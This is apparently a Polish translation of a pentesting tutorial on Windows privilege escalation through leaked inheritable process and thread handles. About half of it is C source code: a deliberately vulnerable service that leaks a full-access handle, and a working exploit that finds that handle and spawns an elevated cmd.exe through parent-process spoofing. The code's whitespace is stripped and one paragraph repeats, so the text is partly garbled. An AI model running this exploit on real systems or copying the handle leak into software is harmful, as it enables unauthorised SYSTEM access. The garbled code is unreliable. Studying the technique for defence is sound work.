Uchwyty w procesie pozwalają na dostęp do różnych zasobów systemu Windows:
Wiele przypadków eskalacji uprawnień już miało miejsce, gdzie uprzywilejowany proces z otwartymi i dziedziczalnymi uchwytami uruchomił nieuprzywilejowany proces, umożliwiając mu dostęp do wszystkich tych uchwytów.
Na przykład, wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces tworzy również nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedzicząc wszystkie otwarte uchwyty głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przechwycić otwarty uchwyt do utworzonego uprzywilejowanego procesu za pomocą OpenProcess() i wstrzyknąć shellcode.
Interesujące uchwyty
Proces
Jak czytałeś w przykładowym przypadku, jeśli nieuprzywilejowany proces dziedziczy uchwyt procesu z uprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie mógł wykonać na nim kod dowolny.
W tym doskonałym artykule możesz zobaczyć, jak wykorzystać dowolny uchwyt procesu posiadający jedne z następujących uprawnień:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Wątek
Podobnie jak w przypadku uchwytów procesów, jeśli nieuprzywilejowany proces dziedziczy uchwyt wątku z uprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie mógł wykonać na nim kod dowolny.
W tym doskonałym artykule możesz również zobaczyć, jak wykorzystać dowolny uchwyt wątku posiadający jedne z następujących uprawnień:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Uchwyty plików, kluczy i sekcji
Jeśli nieuprzywilejowany proces dziedziczy uchwyt z uprawnieniami do zapisu nad uprzywilejowanym plikiem lub rejestrze, będzie mógł nadpisać plik/rejestr (i z dużym szczęściem, eskalować uprawnienia).
Uchwyty sekcji są podobne do uchwytów plików, wspólna nazwa tego rodzaju obiektów to "Mapowanie pliku". Służą one do pracy z dużymi plikami bez przechowywania całego pliku w pamięci. To sprawia, że eksploatacja jest "podobna" do eksploatacji uchwytu pliku.
Jak zobaczyć uchwyty procesów
Process Hacker
Process Hacker to narzędzie, które można pobrać za darmo. Posiada kilka niesamowitych opcji do inspekcji procesów, a jedną z nich jest możliwość zobaczenia uchwytów każdego procesu.
Zauważ, że aby zobaczyć wszystkie uchwyty wszystkich procesów, wymagane jest uprawnienie SeDebugPrivilege (dlatego musisz uruchomić Process Hacker jako administrator).
Aby zobaczyć uchwyty procesu, kliknij prawym przyciskiem myszy na procesie i wybierz Uchwyty:
Następnie kliknij prawym przyciskiem myszy na uchwycie i sprawdź uprawnienia:
Uchwyty Sysinternals
Uchwytybinarne od Sysinternals również wyświetlą uchwyty na proces w konsoli:
LeakedHandlesFinder
To narzędzie pozwala monitorować wycieki uchwytów i nawet automatycznie je wykorzystywać do eskalacji uprawnień.
Metodologia
Teraz, gdy wiesz, jak znaleźć uchwyty procesów, musisz sprawdzić, czy jakikolwiek nieuprzywilejowany proces ma dostęp do uprzywilejowanych uchwytów. W takim przypadku użytkownik procesu mógłby uzyskać uchwyt i nadużyć go do eskalacji uprawnień.
Wcześniej wspomniano, że potrzebujesz uprawnienia SeDebugPrivilege, aby uzyskać dostęp do wszystkich uchwytów. Ale użytkownik nadal może uzyskać dostęp do uchwytów swoich procesów, więc może być przydatne, jeśli chcesz uzyskać podwyższenie uprawnień tylko z tego użytkownika, aby uruchomić narzędzia z uprawnieniami regularnego użytkownika.
Na przykład poniższy kod należy do usługi systemu Windows, która byłaby podatna. Podatny kod tego binarnego pliku usługi znajduje się w funkcji Exploit. Ta funkcja zaczyna tworzyć nowy proces uchwytu z pełnym dostępem. Następnie tworzy proces o niskich uprawnieniach (poprzez skopiowanie niskiego uprawnienia tokena explorer.exe) wykonując C:\users\username\desktop\client.exe. Podatność polega na tym, że tworzy proces o niskich uprawnieniach z bInheritHandles ustawionym na TRUE.
W związku z tym ten proces o niskich uprawnieniach jest w stanie przejąć uchwyt procesu o wysokich uprawnieniach utworzony najpierw, wstrzyknąć i wykonać kod powłoki (patrz następny rozdział).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Przykład Wykorzystania
W rzeczywistym scenariuszu prawdopodobnie nie będziesz w stanie kontrolować binariów, które zostaną wykonane przez podatny kod (C:\users\username\desktop\client.exe w tym przypadku). Prawdopodobnie zakłócisz proces i będziesz musiał sprawdzić, czy masz dostęp do jakiegokolwiek podatnego uchwytu jakiegokolwiek uprzywilejowanego procesu.
W tym przykładzie znajdziesz kod możliwego exploitu dla C:\users\username\desktop\client.exe.
Najbardziej interesująca część tego kodu znajduje się w GetVulnProcHandle. Ta funkcja zacznie pobierać wszystkie uchwyty, następnie sprawdzi, czy którykolwiek z nich należy do tego samego PID i czy uchwyt należy do procesu. Jeśli wszystkie te wymagania są spełnione (znaleziono dostępny otwarty uchwyt procesu), spróbuje wstrzyknąć i wykonać shellcode, nadużywając uchwytu procesu.
Wstrzyknięcie shellcode'u odbywa się wewnątrz funkcji Inject i po prostu zapisze shellcode wewnątrz uprzywilejowanego procesu i utworzy w tym samym procesie wątek do wykonania shellcode'u.
W rzeczywistym scenariuszu prawdopodobnie nie będziesz w stanie kontrolować binariów, które zostaną uruchomione przez podatny kod (C:\users\username\desktop\client.exe w tym przypadku). Prawdopodobnie zakłócisz proces i będziesz musiał sprawdzić, czy masz dostęp do jakiegokolwiek podatnego uchwytu jakiegokolwiek uprzywilejowanego procesu.
W tym przykładzie, zamiast nadużywać otwartego uchwytu do wstrzyknięcia i wykonania shellcode'u, zostanie użyty token uprzywilejowanego otwartego procesu do utworzenia nowego. Jest to wykonywane w liniach od 138 do 148.
Zauważ, jak funkcja UpdateProcThreadAttribute jest używana z atrybutem PROC_THREAD_ATTRIBUTE_PARENT_PROCESS i uchwytem do otwartego uprzywilejowanego procesu. Oznacza to, że utworzony wątek procesu wykonujący _cmd.exe będzie miał takie same uprawnienia tokena jak proces z otwartym uchwytem.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
To narzędzie pozwala monitorować wyciekłe uchwyty, aby znaleźć te podatne i nawet automatycznie je wykorzystać. Posiada również narzędzie do wycieku jednego uchwytu.